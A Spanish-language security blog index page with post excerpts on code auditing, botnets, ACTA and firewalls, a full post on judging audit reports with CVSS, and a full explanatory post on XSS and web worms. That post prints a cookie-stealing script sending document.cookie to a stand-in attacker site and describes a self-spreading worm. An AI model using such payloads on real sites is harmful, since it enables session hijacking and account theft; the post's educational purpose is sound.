Con la herramienta RATS es posible auditar la seguridad del código de aplicaciones escritas en: C, C++, Perl, PHP y Python.

RATS analiza el código y al finalizar muestra una lista con los potenciales problemas de seguridad, una descripción del problema y una posible solución para fortificar la aplicación. También proporciona un gravamen relativo de la severidad potencial de cada problema, para ayudar al auditor de seguridad a priorizar los fallos de seguridad.

Read the rest of this entry

, , ,

A lo largo del tiempo se han conocido muchos casos e incidentes de seguridad donde los actores principales son las botnets, y cuyo proceso de reclutamiento de equipos infectados centra sus esfuerzos en explotar las tecnologías con mayor popularidad, entre las que hemos destacado las redes sociales.

Read the rest of this entry

, , ,

Desde hace un tiempo se viene hablando de un tratado internacional para combatir la pirateria online. Esto se mantenía en secreto por las partes negociadoras, hasta que empezaron a aparecer documentos filtrados u obtenidos mediante pedidos de acceso a la información pública. Estos documentos se van subiendo online en blogs y sitios donde es posible enterarse del contenido de la propuesta para este tratado. La parte mas interesante es la relativa a internet que esta disponible en el blog del Profesor canadiense Michael Geist (ver aquí). La presidencia sueca de la UE dio un reporte muy completo (ver aqui y el PDF disponible a la derecha en esa web).

Read the rest of this entry

,

Para los que no sepan quienes son los chicos de la NSA, os diré que junto con Echelon, son quienes controlan a todos los usurios en Internet; especialmente a los Hackers. La misión de la NSA es espiar todas las comunicaciones e investigar y buscar información en cualquier área tecnológica así como protegerla de amenazas extranjeras que tengan acceso a la información nacional confidencial o clasificada. 

Read the rest of this entry

, , ,

Estar detrás de un firewall no es garantía de estar seguros al 100%. La seguridad de nuestra red muchas veces no depende de las herramientas o aplicaciones sino de cómo se utilizan las mismas.

Conectarnos a Internet sin contar con las herramientas adecuadas y con un firewall bien configurado es el equivalente a tener una casa sin cerraduras en las puertas. Un intruso puede tomar control de los servidores o de las PCs de los usuarios y tener acceso a información privilegiada.

Read the rest of this entry

, , ,

A la hora de evaluar un informe de una auditoría técnica de seguridad podemos entrar a valorar diferentes aspectos, pero en este post vamos a considerar para dicho análisis dos conceptos, por un lado, el contenido y, por otro, el formato.

En cuanto al contenido, obvia decir que, como punto de partida, cualquier informe de auditoría tendrá que dar cumplida respuesta a la expectativa del cliente. Si en algún caso el destinatario no tiene claro cual será el tipo de entregables, la información contenida en el mismo y la utilidad que podrá dar al trabajo, estas cuestiones deberán aclararse antes de comenzar, apoyándose en el archiconocido principio “más vale prevenir que curar”.

Como elementos esenciales se tendrá presente que cualquier hallazgo que se incluya en un informe técnico tendrá que regirse bajo los siguientes principios:

  • Las pruebas se realizarán con la profundidad requerida para los objetivos propuestos.
  • La auditoría se realizará teniendo en cuenta la legislación vigente.
  • Los resultados que se obtengan podrán ser medidos, consistentes, y si se repiten las pruebas se obtendrán resultados similares (repetibles).
  • Las conclusiones que se obtengan estarán derivadas únicamente de las pruebas realizadas y serán pertinentes, es decir, estarán en línea con los objetivos de la auditoría.
  • El lenguaje empleado será acorde a la audiencia que lo reciba.

EVALUACIÓN DEL CONTENIDO

Existen aspectos imprescindibles en cuanto al contenido y que podrán ser clave a la hora de decidir escoger a un proveedor de seguridad u otro. Estos aspectos podrían ser:

  • En cuanto a cada uno de los riesgos identificados:
    • Grado de abstracción deseado para la tipificación del riesgo, se podría denominar “vulnerabilidad tipo” o “problema tipo de seguridad”.
    • Riesgo asociado a la vulnerabilidad identificada en un lugar concreto. (*1)
    • Nivel de detalle de la ocurrencia identificada sobre el riesgo tipo. La descripción deberá de facilitar la posibilidad de repetir el proceso de detección para evaluar si la corrección aplicada es correcta. Para evaluar adecuadamente este punto se podría plantear la siguiente reflexión ¿Es suficiente una herramienta automática para realizar esta tarea?, seguramente NO.
    • Posibilidad de identificar de forma unívoca e inequívoca la ubicación del riesgo hallado, dirección IP, IP y puerto, URL, URL y parámetro afectado, etc.
    • Simplicidad y claridad de la descripción para que alguien “no técnico” pueda interpretarla.
    • La inclusión de enlaces o referencias externas que añaden información clarificadora sobre el riesgo hallado.
    • Recomendaciones y propuestas de solución para cada riesgo identificado matizando las propuestas para que se puedan adaptar a los riesgos concretos hallados en cada trabajo.
  • En cuanto a la valoración ejecutiva, informe ejecutivo, etc. Los aspectos básicos que deberá de incluir podrían ser:
    • Resumen introductorio del trabajo realizado, alcance y objetivos.
    • Resumen de la metodología empleada.
    • Explicación del criterio de riesgo utilizado. (*2)
    • Vulnerabilidades clasificadas por Tipo.
    • Vulnerabilidades clasificadas por Riesgo (en grupos).
    • Ocurrencias de vulnerabilidad destacadas, esto puede ser destacadas por su riesgo base o destacadas por alguna otra característica que hace que sea “diferente”.
    • Conclusiones sobre el trabajo realizado apoyadas en hechos contrastables del trabajo. Como parte fundamental de las conclusiones esta el análisis que se ha realizado de la naturaleza de los problemas lo que permitirá evitar o al menos mitigar los problemas identificados para el futuro.
    • Plan de acción a corto, medio y largo plazo, permitiendo al cliente establecer correcciones en distintos periodos de tiempo y priorizando en base a “quick-wins”.
    • Medidas concretas a realizar, el informe propondrá una serie de medidas concretas cuya aplicación permita reducir considerablemente el riesgo, este punto responderá a preguntas como “¿bueno y ahora qué?”, “¿por donde empezamos?

(*1)(*2) Criterios de evaluación del riesgo: se destaca especialmente la necesidad de utilizar un criterio que permita evaluar el riesgo con valores suficientemente objetivos que además tengan presente el tiempo y el entorno sobre el que se encuentran los sistemas con vulnerabilidades. Se intentará huir del sistema AMB (Alto, Medio, Bajo).

Una buena aproximación a estos parámetros es el estándar CVSS (Common Vulnerability Scoring System) que permite evaluar el riesgo en tres grupos de métricas que son:

  • Base: características intrínsecas y fundamentales de una vulnerabilidad que son constantes en el tiempo y en el entorno de usuario.
  • Temporal: representa las características de una vulnerabilidad que cambian con el tiempo pero no se ven afectadas por el entorno.
  • Entorno: evalúa las características de una vulnerabilidad que son relevantes y únicas a un entorno particular del usuario.

Estos valores se combinarán aplicando una formula que dará un valor numérico entre 0 y 10 para el riesgo base, el temporal y el entorno, en los casos en que sea necesario se podrán crear tres grupos 0<4, style=”mso-spacerun:yes”> Bajo, Medio y Alto.

Los fabricantes facilitan su propia evaluación de vulnerabilidades en base al CVSS para sus productos pero, ¿es acertado que un fabricante de software pueda evaluar el riesgo que representa una vulnerabilidad de sus productos? o por el contrario ¿será mejor que un auditor independiente evalúe el riesgo de una forma más objetiva?

¿Por qué utilizar un estándar como CVSS?, el cliente podrá filtrar los riesgos en base a 14 parámetros que permiten definir, acotar y contextualizar las correcciones, algunas de las preguntas que quedarán resueltas con esta evaluación del riesgo serán:

  • ¿Es igual de importante una vulnerabilidad en el entorno de producción que en el entorno de desarrollo?
  • ¿Puede explotar esta vulnerabilidad cualquiera o tiene que ser un experto en kung fu?
  • ¿Este riesgo es accesible desde Internet o tiene que ser un usuario de la red local?
  • ¿Esta vulnerabilidad tiene impacto sobre la disponibilidad de mis sistemas?, ¿y con la integridad?, ¿y con la confidencialidad?

Se puede consultar la información detallada en la página oficial del proyecto.

EVALUACIÓN DEL FORMATO

En cuanto al formato general de la documentación, esta deberá de ser flexible, permitiendo realizar búsqueda, adaptarse al contexto del cliente, y ser fácilmente integrable con distintos gestores documentales, gestores de ticketing, etc.

Algunas de sus características por lo tanto podrían ser:

  • En el apartado de la flexibilidad será muy positivo dotar a la documentación de opciones para filtrar los riesgos detectados por distintos criterios, referencias cruzadas, tipos de riesgo, elementos donde impactan etc. Además de permitir la generación de gráficos con todos los datos, subconjuntos, etc.
  • Uniformidad de los documentos, formatos de cabeceras, tipologías, etc.
  • Identificación univoca de los riesgos, incluir un código único para cada riesgo.
  • Se podrán filtrar los alcances generando sub-informes en base a urls, rangos de direcciones IP, etc.
  • Se podrán generar salidas xml, csv, etc.
  • En cuanto al informe técnico, este deberá de contener su propio manual de uso, explicando cada uno de sus apartados, que son, porqué han de existir y que uso se podrá dar a dicha información.
  • Idioma, preferiblemente en el idioma solicitado, si es en castellano, en castellano pero no en “spanglish”.
  • En cuanto al informe ejecutivo, podría ser un PowerPoint, conteniendo un resumen claro, conciso y directo sobre el trabajo realizado, hallazgos obtenidos, soluciones, plan de acción y nuevos proyectos.

Autor: Juan de la Fuente Costa
Via Auditoría S21sec

, , ,

Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.

Es decir, si yo visito www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:

<script>alert(document.cookie)</script>

Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?

Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:

<script>document.location.href = ‘www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie; </script>

Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.

Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:

<script>alert(document.cookie);</script>

Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.

Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.

Via  rooibo.com

, , , , , , , ,

Según el Observatorio de la Seguridad de la Información de INTECO, como expresa en su estudio sobre el fraude a través de Internet entre 2007 y 2009, ha aumentado el nivel de confianza en Internet por parte de los usuarios españoles para realizar operaciones económicas.

Se trata de un grado de confianza alto con respecto a periodos anteriores. Por ejemplo, aproximadamente 6 de cada 10 usuarios muestran mucha o bastante confianza en la utilización de banca electrónica.

A pesar de este considerable nivel de confianza en Internet como canal de realización de transacciones económicas, los ciudadanos siguen mostrando más confianza en la utilización del servicio en persona.

En cualquier caso, la tendencia es positiva: el porcentaje de ciudadanos que afirma confiar mucho y bastante en las operaciones que implican pagos y transacciones económicas a través de Internet se incrementa trimestre tras trimestre. Cada día disminuyen un poco más para los usuarios las diferencias entre la banca y comercio electrónicos y los mismos sectores tradicionales, y es posible prever una identificación a largo plazo en el mismo servicio, sea cual sea el medio de interacción de los agentes.

El haber sufrido un intento no consumado de fraude no influye significativamente en los hábitos de uso de compra y banca electrónica: tras haber sufrido un intento de fraude, un 83,3% de los usuarios mantiene invariables sus hábitos de compra en Internet y un 90,3%, sus hábitos de banca electrónica.

Igualmente, las tasas de abandono son minoritarias (en torno al 4%), incluso entre los ciudadanos que han experimentado una pérdida económica. Se trata de un paso más en el camino de la adaptación de la sociedad a las nuevas tecnologías, concebidas cada vez por más usuarios como herramientas para alcanzar eficacia y eficiencia, y no como una fuente de peligros o fraudes.

Fuente: www.inteco.es

Via seguridadinformatica.es

, ,

Paginas 2 de 171234510...Last »